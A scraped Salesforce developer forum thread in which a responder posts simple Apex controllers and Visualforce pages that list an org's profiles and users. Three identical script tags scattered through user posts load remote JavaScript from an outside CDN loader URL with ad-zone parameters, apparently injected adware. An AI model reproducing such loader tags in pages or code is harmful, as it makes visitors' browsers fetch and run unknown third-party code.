function readOnly(count){ }
Starting November 20, the site will be set to read-only. On December 4, 2023,
forum discussions will move to the Trailblazer Community.
+ Start a Discussion
srvas137srvas137 

display organization profiles in a visuaforce page

display organization profiles in a visuaforce page

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
jungleeejungleee

Hi There,

 

Use the below class and Page. let me know for issues.

 

//ApexClass

Public Class ProfileListonPage{
    
    public List<profile> getDisplayProfile(){
        List<profile> profileList = [select Name, id from Profile];
        return profileList;
    }
}

//VFpage

<apex:page controller = "ProfileListonPage">
    <apex:pageBlock>
        <apex:pageblocktable value="{!DisplayProfile}" var="p">
            <apex:column value="{!p.Name}"/>
        </apex:pageblocktable>
    </apex:pageBlock>
</apex:page>

 Hope this helps!!

 

Regards

Sam

 

 

srvas137srvas137

Re: and also how to display organization users in a visuaforce page

jungleeejungleee

Hi there,

 

You can use the below code to display the list of users in a VF. But I should also remind you that only 1000 records will be displayed in the list. If you want to increase this limit to 10,000 then you should add the readonly = "true" attribute in the Apex:page tag.

 

 

//ApexClass

Public Class UserListOnPage{
    
    public List<User> getDisplayUser(){
        List<User> userList = [select Name, id from User];
        return userList;
    }
}

//VFpage

<apex:page controller = "UserListOnPage">
    <apex:pageBlock>
        <apex:pageblocktable value="{!DisplayUser}" var="u">
            <apex:column value="{!u.Name}"/>
        </apex:pageblocktable>
    </apex:pageBlock>
</apex:page>

 Hope it helps!!

 

Regards

Sam

maja madi

 

srvas137srvas137

if u know this code please post

 

 

my visuaforce page contains one selectlist (for selecting object fields),two textboxes for selecting dates(startdate and end date)

and one more search button

 

display object data in same visualforce page when i cllick a search button

 

 

this my requirement

 

 

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>